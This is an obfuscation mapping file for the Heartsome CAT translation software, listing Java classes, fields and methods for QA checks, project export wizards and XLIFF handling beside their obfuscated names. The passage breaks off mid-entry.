FA_TRANSLATION_PROGRESS_ANALYSIS -> FA_TRANSLATION_PROGRESS_ANALYSIS + java.lang.String FA_EDITING_PROGRESS_ANALYSIS -> FA_EDITING_PROGRESS_ANALYSIS + java.lang.String FA_SRC_TU_ROWID -> FA_SRC_TU_ROWID + java.lang.String FA_SRC_CONTENT -> FA_SRC_CONTENT + java.lang.String FA_SRC_PURE_TEXT -> FA_SRC_PURE_TEXT + java.lang.String FA_TARGET_LANG -> FA_TARGET_LANG + java.lang.String FA_PRE_CONTEXT_CODE -> FA_PRE_CONTEXT_CODE + java.lang.String FA_NEXT_CONTEXT_CODE -> FA_NEXT_CONTEXT_CODE + java.lang.String FA_IS_LOCKED -> FA_IS_LOCKED + java.lang.String FA_SEPERATOR -> FA_SEPERATOR + java.lang.String FA_HtmlDoctype -> FA_HtmlDoctype + java.lang.String FA_Report_Info -> FA_Report_Info + java.lang.String FA_HtmlBrowserEditor -> FA_HtmlBrowserEditor + java.lang.String FA_htmlHeader -> FA_htmlHeader + java.lang.String _InternalRepeat -> _InternalRepeat + java.lang.String _External101 -> _External101 + java.lang.String _External100 -> _External100 +net.heartsome.cat.ts.core.qa.QATUDataBean -> net.heartsome.cat.ts.core.qa.QATUDataBean: + java.lang.String rowId -> OH + java.lang.String lineNumber -> lineNumber + java.lang.String srcPureText -> wI + java.lang.String tgtPureText -> wJ + java.lang.String srcContent -> vp + java.lang.String tgtContent -> vq + java.lang.String fileName -> fileName + java.lang.String srcLang -> srcLang + java.lang.String tgtLang -> SW + java.lang.String xlfPath -> amn + boolean passFilter -> amo + java.lang.String getRowId() -> getRowId + void setRowId(java.lang.String) -> setRowId + java.lang.String getLineNumber() -> getLineNumber + void setLineNumber(java.lang.String) -> setLineNumber + java.lang.String getSrcPureText() -> getSrcPureText + void setSrcPureText(java.lang.String) -> setSrcPureText + java.lang.String getTgtPureText() -> getTgtPureText + void setTgtPureText(java.lang.String) -> setTgtPureText + java.lang.String getSrcContent() -> getSrcContent + void setSrcContent(java.lang.String) -> setSrcContent + java.lang.String getTgtContent() -> getTgtContent + void setTgtContent(java.lang.String) -> setTgtContent + java.lang.String getFileName() -> getFileName + void setFileName(java.lang.String) -> setFileName + boolean isPassFilter() -> isPassFilter + void setPassFilter(boolean) -> setPassFilter + java.lang.String getSrcLang() -> getSrcLang + void setSrcLang(java.lang.String) -> setSrcLang + java.lang.String getTgtLang() -> getTgtLang + void setTgtLang(java.lang.String) -> setTgtLang + java.lang.String getXlfPath() -> getXlfPath + void setXlfPath(java.lang.String) -> setXlfPath +net.heartsome.cat.ts.core.qa.QAXmlHandler -> net.heartsome.cat.ts.core.qa.QAXmlHandler: + java.util.Hashtable vnMap -> we + java.util.Hashtable apMap -> wK + java.util.Hashtable xliffXmlnsMap -> wf + com.ximpleware.VTDNav vnRead -> wg + org.slf4j.Logger logger -> logger + java.util.Map accessHistory -> vU + java.util.LinkedHashMap tuSizeMap -> wd + java.lang.String XPATH_ALL_TU -> XPATH_ALL_TU + com.ximpleware.VTDGen tagVg -> wL + java.lang.String hsR7NSUrl -> hsR7NSUrl + java.lang.String hsNSPrefix -> hsNSPrefix + java.util.Map openFile(java.lang.String) -> openFile + java.util.Map openFile(java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> openFile + java.util.Map openFile(java.io.File,org.eclipse.core.runtime.IProgressMonitor) -> a + java.util.Map getErrorResult(java.lang.String,java.lang.Throwable) -> a + java.util.Map getSuccessResult(java.lang.String) -> cy + java.util.Map getSuccessResult() -> fd + java.util.Map getReturnResult() -> fe + java.util.LinkedHashMap getTuSizeMap() -> getTuSizeMap + java.util.Map createFileHistory(int,int) -> createFileHistory + void validNull(com.ximpleware.VTDNav,com.ximpleware.AutoPilot,java.lang.String) -> validNull + boolean saveAndReparse(com.ximpleware.XMLModifier,java.lang.String) -> c + boolean save(com.ximpleware.XMLModifier,java.lang.String) -> b + boolean save(com.ximpleware.XMLModifier,java.io.File) -> b + boolean isLocked(java.lang.String) -> isLocked + java.lang.String getTuProp(java.lang.String,java.lang.String) -> getTuProp + int getAllTUSize() -> getAllTUSize + java.util.Map getLanguages() -> getLanguages + java.util.List getAllRowIdsByLanguages(java.lang.String,java.lang.String) -> getAllRowIdsByLanguages + int getNodeCount(java.lang.String,java.lang.String) -> getNodeCount + java.util.Map getFilteredTUPureText(java.lang.String,java.lang.String,java.util.Map) -> getFilteredTUPureText + com.ximpleware.VTDNav getVTDNav(java.lang.String) -> getVTDNav + net.heartsome.cat.ts.core.qa.QATUDataBean getFilteredTUText(java.lang.String,java.lang.String,java.util.Map) -> getFilteredTUText + java.util.Map getFilteredTUTextForMultiParaConsis(java.util.List,java.util.Map,boolean,boolean,boolean,boolean) -> getFilteredTUTextForMultiParaConsis + boolean filterTheTU(com.ximpleware.VTDNav,java.util.Map) -> filterTheTU + java.lang.String getTUPureText(java.lang.String,java.lang.String) -> getTUPureText + java.lang.String getTUPureText(com.ximpleware.VTDNav) -> getTUPureText + java.lang.String getSubNodePureText(com.ximpleware.VTDNav) -> getSubNodePureText + java.util.Map getFilteredTUPureTextOrContent(java.lang.String,java.util.Map,boolean,boolean,boolean,boolean) -> getFilteredTUPureTextOrContent + java.util.Map getFilteredTUContent(java.lang.String,java.lang.String,java.util.Map) -> getFilteredTUContent + java.lang.String getTUPureTextOrContent(java.lang.String,java.lang.String,boolean) -> getTUPureTextOrContent + java.lang.String getNodePureText(java.lang.String,java.lang.String) -> getNodePureText + java.lang.String getNodeContent(java.lang.String,java.lang.String) -> getNodeContent + java.lang.String getNodeText(java.lang.String,java.lang.String,java.lang.String) -> getNodeText + java.lang.String getNodeAttribute(java.lang.String,java.lang.String,java.lang.String) -> getNodeAttribute + java.lang.String getNodeFrag(java.lang.String,java.lang.String) -> getNodeFrag + java.util.Map getFilteredTUTags(java.lang.String,java.lang.String,java.util.Map) -> getFilteredTUTags + java.util.List getTUTag(java.lang.String,java.lang.String) -> getTUTag + java.util.List getTUTag(java.lang.String) -> getTUTag + java.lang.String getTuTagStr(com.ximpleware.VTDNav) -> c + java.util.List getTUTag(com.ximpleware.VTDNav) -> getTUTag + java.lang.String getSubNodeTagStr(com.ximpleware.VTDNav) -> getSubNodeTagStr + java.util.List getSubNodeTag(com.ximpleware.VTDNav) -> getSubNodeTag + java.lang.String deleteBlank(java.lang.String) -> deleteBlank + java.util.List getNonTransElements(java.lang.String,java.lang.String) -> getNonTransElements + java.util.List getNonTransElementsRegex(java.lang.String) -> getNonTransElementsRegex + boolean addDataToXml(java.lang.String,java.lang.String,java.lang.String) -> addDataToXml + boolean deleteNode(java.lang.String,java.lang.String) -> deleteNode + boolean deleteAllNode(java.lang.String,java.lang.String) -> deleteAllNode + java.util.Map getAllSrcText(int,boolean,int,java.lang.String,java.lang.String) -> getAllSrcText + java.util.Map getTransUnitContext(java.lang.String,int) -> getTransUnitContext + com.ximpleware.VTDNav getVTDNavByRowId(java.lang.String) -> cE + java.lang.String getContext(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,int,boolean) -> getContext + boolean lockedTU(java.lang.String) -> lockedTU + java.util.Map getTransProgressData(java.lang.String,org.eclipse.core.runtime.IProgressMonitor,int,int) -> getTransProgressData + java.util.Map getEditProgressData(java.lang.String,org.eclipse.core.runtime.IProgressMonitor,int,int) -> getEditProgressData + java.util.Hashtable getDictionaries(java.lang.String) -> getDictionaries + java.util.Hashtable getAspellDictionaries(java.lang.String) -> getAspellDictionaries + boolean monitorWork(org.eclipse.core.runtime.IProgressMonitor,int,int,boolean) -> monitorWork + java.util.Map getHunspellAvailableLang(java.lang.String) -> getHunspellAvailableLang + java.util.List getAspellDicConfig(java.lang.String) -> getAspellDicConfig + void addAspellConfig(java.lang.String,java.lang.String,java.lang.String,boolean) -> addAspellConfig + void removeAspellConfig(java.lang.String,java.lang.String) -> removeAspellConfig + void saveAspellConfig(java.lang.String,java.lang.String,boolean) -> saveAspellConfig + void main(java.lang.String[]) -> main +net.heartsome.cat.ts.core.qa.QAXmlHandler$1 -> net.heartsome.cat.ts.core.qa.QAXmlHandler$1: + long serialVersionUID -> serialVersionUID + net.heartsome.cat.ts.core.qa.QAXmlHandler this$0 -> wM + int val$maxSize -> j + boolean removeEldestEntry(java.util.Map$Entry) -> removeEldestEntry +net.heartsome.cat.ts.core.qa.WordsFABean -> net.heartsome.cat.ts.core.qa.WordsFABean: + java.lang.String srcPureText -> wI + java.lang.String srcContent -> vp + java.lang.String tagStr -> lM + java.lang.String preHash -> wN + java.lang.String nextHash -> wO + int srcLength -> wP + boolean isLocked -> dY + int thisMatchRate -> wQ + java.lang.String getSrcPureText() -> getSrcPureText + void setSrcPureText(java.lang.String) -> setSrcPureText + java.lang.String getSrcContent() -> getSrcContent + void setSrcContent(java.lang.String) -> setSrcContent + java.lang.String getTagStr() -> getTagStr + void setTagStr(java.lang.String) -> setTagStr + java.lang.String getPreHash() -> getPreHash + void setPreHash(java.lang.String) -> setPreHash + java.lang.String getNextHash() -> getNextHash + void setNextHash(java.lang.String) -> setNextHash + int getSrcLength() -> getSrcLength + void setSrcLength(int) -> setSrcLength + boolean isLocked() -> isLocked + void setLocked(boolean) -> setLocked + int getThisMatchRate() -> getThisMatchRate + void setThisMatchRate(int) -> setThisMatchRate +net.heartsome.cat.ts.core.resource.Messages -> net.heartsome.cat.ts.core.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.ts.dialog.AboutDialog -> net.heartsome.cat.ts.dialog.a: + org.eclipse.swt.graphics.Image image -> image + org.eclipse.swt.graphics.Font font -> font + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + boolean close() -> close +net.heartsome.cat.ts.dialog.AboutDialog$1 -> net.heartsome.cat.ts.dialog.b: + net.heartsome.cat.ts.dialog.AboutDialog this$0 -> wR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.dialog.AboutDialog$2 -> net.heartsome.cat.ts.dialog.c: + net.heartsome.cat.ts.dialog.AboutDialog this$0 -> wR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.drop.EditorAreaDropAdapter -> net.heartsome.cat.ts.drop.a: + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.ui.IWorkbenchWindow window -> window + void dragEnter(org.eclipse.swt.dnd.DropTargetEvent) -> dragEnter + void dragOperationChanged(org.eclipse.swt.dnd.DropTargetEvent) -> dragOperationChanged + void drop(org.eclipse.swt.dnd.DropTargetEvent) -> drop + void asyncDrop(org.eclipse.swt.dnd.DropTargetEvent,org.eclipse.ui.IWorkbenchPage) -> a + void access$0(net.heartsome.cat.ts.drop.EditorAreaDropAdapter,org.eclipse.swt.dnd.DropTargetEvent,org.eclipse.ui.IWorkbenchPage) -> a +net.heartsome.cat.ts.drop.EditorAreaDropAdapter$1 -> net.heartsome.cat.ts.drop.b: + net.heartsome.cat.ts.drop.EditorAreaDropAdapter this$0 -> wS + org.eclipse.swt.dnd.DropTargetEvent val$event -> wT + org.eclipse.ui.IWorkbenchPage val$page -> wU + void run() -> run +net.heartsome.cat.ts.exportproject.Activator -> net.heartsome.cat.ts.exportproject.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.ts.exportproject.Activator plugin -> wV + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.ts.exportproject.Activator getDefault() -> ff + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor +net.heartsome.cat.ts.exportproject.handler.ExportProjectHandler -> net.heartsome.cat.ts.exportproject.handler.a: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.exportproject.handler.ExportProjectHandler$1 -> net.heartsome.cat.ts.exportproject.handler.b: + net.heartsome.cat.ts.exportproject.handler.ExportProjectHandler this$0 -> wW + org.eclipse.swt.widgets.Control createHelpControl(org.eclipse.swt.widgets.Composite) -> createHelpControl +net.heartsome.cat.ts.exportproject.handler.ExportProjectHandler$1$1 -> net.heartsome.cat.ts.exportproject.handler.c: + net.heartsome.cat.ts.exportproject.handler.ExportProjectHandler$1 this$1 -> wX + org.eclipse.swt.graphics.Cursor val$cursor -> oX + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.ts.exportproject.handler.ExportProjectHandler$1$2 -> net.heartsome.cat.ts.exportproject.handler.d: + net.heartsome.cat.ts.exportproject.handler.ExportProjectHandler$1 this$1 -> wX + java.lang.String val$helpUrl -> pb + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.exportproject.resource.Messages -> net.heartsome.cat.ts.exportproject.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.ts.exportproject.wizards.ArchiveFileExportOperation2 -> net.heartsome.cat.ts.exportproject.wizards.a: + org.eclipse.ui.internal.wizards.datatransfer.IFileExporter exporter -> wY + java.lang.String destinationFilename -> wZ + org.eclipse.core.runtime.IProgressMonitor monitor -> monitor + java.util.List resourcesToExport -> xa + org.eclipse.core.resources.IResource resource -> resource + java.util.List errorTable -> xb + boolean useCompression -> xc + boolean useTarFormat -> xd + boolean createLeadupStructure -> xe + boolean isExportTm -> amp + boolean isExportTb -> amq + int TM -> amr + int TB -> ams + java.util.List exprotedProject -> amt + boolean isExportTm() -> ov + void setExportTm(boolean) -> X + boolean isExportTb() -> ow + void setExportTb(boolean) -> Y + void addError(java.lang.String,java.lang.Throwable) -> addError + int countChildrenOf(org.eclipse.core.resources.IResource) -> countChildrenOf + int countSelectedResources() -> countSelectedResources + void exportResource(org.eclipse.core.resources.IResource) -> exportResource + java.lang.String createDestinationName(int,org.eclipse.core.resources.IResource) -> a + void exportResource(org.eclipse.core.resources.IResource,int) -> exportResource + void exportSpecifiedResources() -> exportSpecifiedResources + org.eclipse.core.runtime.IStatus getStatus() -> getStatus + void initialize() -> initialize + boolean isDescendent(java.util.List,org.eclipse.core.resources.IResource) -> isDescendent + void run(org.eclipse.core.runtime.IProgressMonitor) -> run + void setCreateLeadupStructure(boolean) -> setCreateLeadupStructure + void setUseCompression(boolean) -> setUseCompression + void setUseTarFormat(boolean) -> setUseTarFormat + java.util.List getProjectSQLiteFiles(org.eclipse.core.resources.IProject,int) -> a + java.lang.String getSqliteFilePath(net.heartsome.cat.common.bean.DatabaseModelBean) -> d + void exportProjectSQLiteFiles(org.eclipse.core.resources.IProject) -> c + java.lang.String getExportDBName(org.eclipse.core.resources.IProject,java.io.File,int,int) -> a + boolean equalPath(java.lang.String,java.lang.String) -> ad +net.heartsome.cat.ts.exportproject.wizards.ExportProjectWizard -> net.heartsome.cat.ts.exportproject.wizards.b: + org.eclipse.jface.viewers.IStructuredSelection selection -> selection + net.heartsome.cat.ts.exportproject.wizards.ExportProjectWizardPage page -> xf + void init(org.eclipse.ui.IWorkbench,org.eclipse.jface.viewers.IStructuredSelection) -> init + boolean performFinish() -> performFinish + void addPages() -> addPages +net.heartsome.cat.ts.exportproject.wizards.ExportProjectWizardPage -> net.heartsome.cat.ts.exportproject.wizards.c: + java.lang.String STORE_DESTINATION_NAMES_ID -> xg + java.lang.String STORE_CREATE_STRUCTURE_ID -> xh + java.lang.String STORE_COMPRESS_CONTENTS_ID -> xi + org.slf4j.Logger LOGGER -> LOGGER + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + boolean ensureTargetDirectoryIsValid(java.lang.String) -> ensureTargetDirectoryIsValid + boolean ensureTargetFileIsValid(java.io.File) -> ensureTargetFileIsValid + boolean ensureTargetIsValid() -> ensureTargetIsValid + boolean executeExportOperation(net.heartsome.cat.ts.exportproject.wizards.ArchiveFileExportOperation2) -> a + boolean finish() -> finish + java.lang.String getDestinationLabel() -> getDestinationLabel + java.lang.String getDestinationValue() -> getDestinationValue + java.lang.String getOutputSuffix() -> getOutputSuffix + void handleDestinationBrowseButtonPressed() -> handleDestinationBrowseButtonPressed + void internalSaveWidgetValues() -> internalSaveWidgetValues + void restoreWidgetValues() -> restoreWidgetValues + java.lang.String destinationEmptyMessage() -> destinationEmptyMessage + boolean validateDestinationGroup() -> validateDestinationGroup +net.heartsome.cat.ts.exportproject.wizards.WizardExportResourcesPage2 -> net.heartsome.cat.ts.exportproject.wizards.d: + org.eclipse.jface.viewers.IStructuredSelection initialResourceSelection -> xj + java.util.List selectedTypes -> selectedTypes + org.eclipse.ui.internal.ide.dialogs.ResourceTreeAndListGroup resourceGroup -> xk + java.lang.String SELECT_TYPES_TITLE -> xl + java.lang.String SELECT_ALL_TITLE -> xm + java.lang.String DESELECT_ALL_TITLE -> xn + java.util.List defaultExportItems -> xo + boolean allowNewContainerName() -> allowNewContainerName + org.eclipse.swt.widgets.Button createButton(org.eclipse.swt.widgets.Composite,int,java.lang.String,boolean) -> createButton + void createButtonsGroup(org.eclipse.swt.widgets.Composite) -> createButtonsGroup + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + void createDBExportGroup(org.eclipse.swt.widgets.Composite) -> ak + void createDestinationGroup(org.eclipse.swt.widgets.Composite) -> createDestinationGroup + void createResourcesGroup(org.eclipse.swt.widgets.Composite) -> createResourcesGroup + java.lang.String getErrorDialogTitle() -> getErrorDialogTitle + boolean ensureResourcesLocal(java.util.List) -> ensureResourcesLocal + java.util.List extractNonLocalResources(java.util.List) -> extractNonLocalResources + org.eclipse.jface.viewers.ITreeContentProvider getResourceProvider(int) -> p + java.util.List getDefaultExportItems() -> fg + java.util.List getSelectedResources() -> getSelectedResources + java.util.Iterator getSelectedResourcesIterator() -> getSelectedResourcesIterator + java.util.List getTypesToExport() -> getTypesToExport + java.util.List getWhiteCheckedResources() -> getWhiteCheckedResources + void handleTypesEditButtonPressed() -> handleTypesEditButtonPressed + boolean hasExportableExtension(java.lang.String) -> hasExportableExtension + void internalSaveWidgetValues() -> internalSaveWidgetValues + java.lang.Object[] queryResourceTypesToExport() -> queryResourceTypesToExport + void restoreResourceSpecificationWidgetValues() -> restoreResourceSpecificationWidgetValues + void saveWidgetValues() -> saveWidgetValues + void setupBasedOnInitialSelections() -> setupBasedOnInitialSelections + void setupSelectionsBasedOnSelectedTypes() -> setupSelectionsBasedOnSelectedTypes + void setupSelectionsBasedOnSelectedTypes(java.util.Map,org.eclipse.core.resources.IContainer) -> a + boolean saveDirtyEditors() -> saveDirtyEditors + void updateWidgetEnablements() -> updateWidgetEnablements + boolean isExportSQLiteTMs() -> ox + boolean isExportSQLiteTBs() -> oy + org.eclipse.ui.internal.ide.dialogs.ResourceTreeAndListGroup access$0(net.heartsome.cat.ts.exportproject.wizards.WizardExportResourcesPage2) -> a + java.util.List access$1(net.heartsome.cat.ts.exportproject.wizards.WizardExportResourcesPage2) -> b + void access$2(net.heartsome.cat.ts.exportproject.wizards.WizardExportResourcesPage2,java.util.Map,org.eclipse.core.resources.IContainer) -> a +net.heartsome.cat.ts.exportproject.wizards.WizardExportResourcesPage2$1 -> net.heartsome.cat.ts.exportproject.wizards.e: + net.heartsome.cat.ts.exportproject.wizards.WizardExportResourcesPage2 this$0 -> xp + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.exportproject.wizards.WizardExportResourcesPage2$2 -> net.heartsome.cat.ts.exportproject.wizards.f: + net.heartsome.cat.ts.exportproject.wizards.WizardExportResourcesPage2 this$0 -> xp + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.exportproject.wizards.WizardExportResourcesPage2$3 -> net.heartsome.cat.ts.exportproject.wizards.g: + net.heartsome.cat.ts.exportproject.wizards.WizardExportResourcesPage2 this$0 -> xp + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.exportproject.wizards.WizardExportResourcesPage2$4 -> net.heartsome.cat.ts.exportproject.wizards.h: + net.heartsome.cat.ts.exportproject.wizards.WizardExportResourcesPage2 this$0 -> xp + void checkStateChanged(org.eclipse.jface.viewers.CheckStateChangedEvent) -> checkStateChanged +net.heartsome.cat.ts.exportproject.wizards.WizardExportResourcesPage2$5 -> net.heartsome.cat.ts.exportproject.wizards.i: + net.heartsome.cat.ts.exportproject.wizards.WizardExportResourcesPage2 this$0 -> xp + int val$resourceType -> xq + java.lang.Object[] getChildren(java.lang.Object) -> getChildren +net.heartsome.cat.ts.exportproject.wizards.WizardExportResourcesPage2$6 -> net.heartsome.cat.ts.exportproject.wizards.j: + net.heartsome.cat.ts.exportproject.wizards.WizardExportResourcesPage2 this$0 -> xp + void run() -> run +net.heartsome.cat.ts.exportproject.wizards.WizardFileSystemResourceExportPage2 -> net.heartsome.cat.ts.exportproject.wizards.k: + org.eclipse.swt.widgets.Text destinationNameField -> xr + org.eclipse.swt.widgets.Button destinationBrowseButton -> xs + org.eclipse.swt.widgets.Button overwriteExistingFilesCheckbox -> overwriteExistingFilesCheckbox + java.lang.String STORE_DESTINATION_NAMES_ID -> xg + java.lang.String STORE_OVERWRITE_EXISTING_FILES_ID -> xt + java.lang.String STORE_CREATE_STRUCTURE_ID -> xh + java.lang.String SELECT_DESTINATION_MESSAGE -> xu + java.lang.String SELECT_DESTINATION_TITLE -> xv + java.lang.String SELECT_TM_EXPORTED -> amu + java.lang.String SELECT_TB_EXPORTED -> amv + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.swt.widgets.Button tmCheck -> amw + org.eclipse.swt.widgets.Button tbCheck -> amx + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + void createDestinationGroup(org.eclipse.swt.widgets.Composite) -> createDestinationGroup + void createOverwriteExisting(org.eclipse.swt.widgets.Group,org.eclipse.swt.graphics.Font) -> createOverwriteExisting + boolean ensureDirectoryExists(java.io.File) -> ensureDirectoryExists + boolean ensureTargetIsValid(java.io.File) -> ensureTargetIsValid + boolean executeExportOperation(org.eclipse.ui.internal.wizards.datatransfer.FileSystemExportOperation) -> executeExportOperation + boolean finish() -> finish + java.lang.String getDestinationLabel() -> getDestinationLabel + java.lang.String getDestinationValue() -> getDestinationValue + void giveFocusToDestination() -> giveFocusToDestination + void handleDestinationBrowseButtonPressed() -> handleDestinationBrowseButtonPressed + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent + void internalSaveWidgetValues() -> internalSaveWidgetValues + void restoreWidgetValues() -> restoreWidgetValues + void setDestinationValue(java.lang.String) -> setDestinationValue + boolean validateDestinationGroup() -> validateDestinationGroup + boolean validateSourceGroup() -> validateSourceGroup + java.lang.String destinationEmptyMessage() -> destinationEmptyMessage + java.lang.String getConflictingContainerNameFor(java.lang.String) -> getConflictingContainerNameFor + java.lang.String getOverlappingProjectName(java.lang.String) -> cG + void createDBExportGroup(org.eclipse.swt.widgets.Composite) -> ak + boolean isExportSQLiteTMs() -> ox + boolean isExportSQLiteTBs() -> oy +net.heartsome.cat.ts.exportproject.wizards.ZipFileExporter2 -> net.heartsome.cat.ts.exportproject.wizards.l: + org.apache.tools.zip.ZipOutputStream outputStream -> xw + boolean useCompression -> xc + void finished() -> finished + void write(org.apache.tools.zip.ZipEntry,org.eclipse.core.resources.IFile) -> a + void write(org.eclipse.core.resources.IContainer,java.lang.String) -> write + void write(org.eclipse.core.resources.IFile,java.lang.String) -> write + void addDbFolder(java.lang.String) -> fs + void addDbFile(java.io.File,java.lang.String) -> b + void writeFile(org.apache.tools.zip.ZipEntry,java.io.File) -> a + java.io.InputStream getFileInpuStream(java.io.File) -> j +net.heartsome.cat.ts.fuzzytranslation.Activator -> net.heartsome.cat.ts.fuzzytranslation.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.ts.fuzzytranslation.Activator plugin -> xx + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.ts.fuzzytranslation.Activator getDefault() -> fh +net.heartsome.cat.ts.fuzzytranslation.handler.ExecuteFuzzyTranslationHandler -> net.heartsome.cat.ts.fuzzytranslation.handler.a: + java.lang.String XLIFF_EDITOR_ID -> XLIFF_EDITOR_ID + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.fuzzytranslation.handler.ExecuteFuzzyTranslationHandler$1 -> net.heartsome.cat.ts.fuzzytranslation.handler.b: + net.heartsome.cat.ts.fuzzytranslation.handler.ExecuteFuzzyTranslationHandler this$0 -> xy + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable val$nattable -> xz + net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil val$util -> xA + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.ts.fuzzytranslation.resource.Messages -> net.heartsome.cat.ts.fuzzytranslation.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.ts.handler.AboutHandler -> net.heartsome.cat.ts.handler.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.handler.KeyAssistHandler -> net.heartsome.cat.ts.handler.f: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.handler.OpenStatusBarHandler -> net.heartsome.cat.ts.handler.b: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + void updateElement(org.eclipse.ui.menus.UIElement,java.util.Map) -> updateElement +net.heartsome.cat.ts.handler.OpenToolBarHandler -> net.heartsome.cat.ts.handler.c: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + void updateElement(org.eclipse.ui.menus.UIElement,java.util.Map) -> updateElement +net.heartsome.cat.ts.handler.OpenToolBarHandler$1 -> net.heartsome.cat.ts.handler.d: + net.heartsome.cat.ts.handler.OpenToolBarHandler this$0 -> xI + org.eclipse.ui.menus.UIElement val$element -> as + void run() -> run +net.heartsome.cat.ts.handler.PreferenceHandler -> net.heartsome.cat.ts.handler.e: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.handlexlf.Activator -> net.heartsome.cat.ts.handlexlf.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.ts.handlexlf.Activator plugin -> xJ + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.ts.handlexlf.Activator getDefault() -> fl + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor +net.heartsome.cat.ts.handlexlf.dialog.SetSplitPointByWordNumDialog -> net.heartsome.cat.ts.handlexlf.dialog.a: + org.eclipse.swt.graphics.Image addImg -> amy + org.eclipse.swt.graphics.Image deleteImg -> amz + java.util.List segList -> amA + java.util.Map rowWordNumMap -> ami + int totalWordNum -> amg + int totalTuNum -> amh + net.heartsome.cat.ts.core.file.XLFHandler xlfHandler -> dE + java.lang.String xlfPath -> amn + org.eclipse.swt.widgets.Button averageBtn -> amB + org.eclipse.swt.widgets.Button wordNumberBtn -> amC + org.eclipse.swt.widgets.Spinner segSpiner -> amD + org.eclipse.swt.custom.StackLayout stack -> amE + org.eclipse.swt.widgets.Composite averageContentCmp -> amF + org.eclipse.swt.custom.ScrolledComposite wordNumberScroll -> amG + org.eclipse.swt.widgets.Composite segParentCmp -> amH + org.eclipse.swt.graphics.Font totalLblFont -> amI + boolean isResizable() -> isResizable + boolean close() -> close + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createSegCmp(net.heartsome.cat.ts.core.bean.SegPointBean) -> a + void refreshSegListArea() -> oz + void viewerTopControl() -> oA + void okPressed() -> okPressed + org.eclipse.swt.widgets.Spinner access$0(net.heartsome.cat.ts.handlexlf.dialog.SetSplitPointByWordNumDialog) -> a + int access$1(net.heartsome.cat.ts.handlexlf.dialog.SetSplitPointByWordNumDialog) -> b + void access$2(net.heartsome.cat.ts.handlexlf.dialog.SetSplitPointByWordNumDialog) -> c + org.eclipse.swt.widgets.Composite access$3(net.heartsome.cat.ts.handlexlf.dialog.SetSplitPointByWordNumDialog) -> d + int access$4(net.heartsome.cat.ts.handlexlf.dialog.SetSplitPointByWordNumDialog) -> e + void access$5(net.heartsome.cat.ts.handlexlf.dialog.SetSplitPointByWordNumDialog,net.heartsome.cat.ts.core.bean.SegPointBean) -> a + org.eclipse.swt.custom.ScrolledComposite access$6(net.heartsome.cat.ts.handlexlf.dialog.SetSplitPointByWordNumDialog) -> f + void access$7(net.heartsome.cat.ts.handlexlf.dialog.SetSplitPointByWordNumDialog) -> g +net.heartsome.cat.ts.handlexlf.dialog.SetSplitPointByWordNumDialog$1 -> net.heartsome.cat.ts.handlexlf.dialog.b: + net.heartsome.cat.ts.handlexlf.dialog.SetSplitPointByWordNumDialog this$0 -> amJ + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.ts.handlexlf.dialog.SetSplitPointByWordNumDialog$2 -> 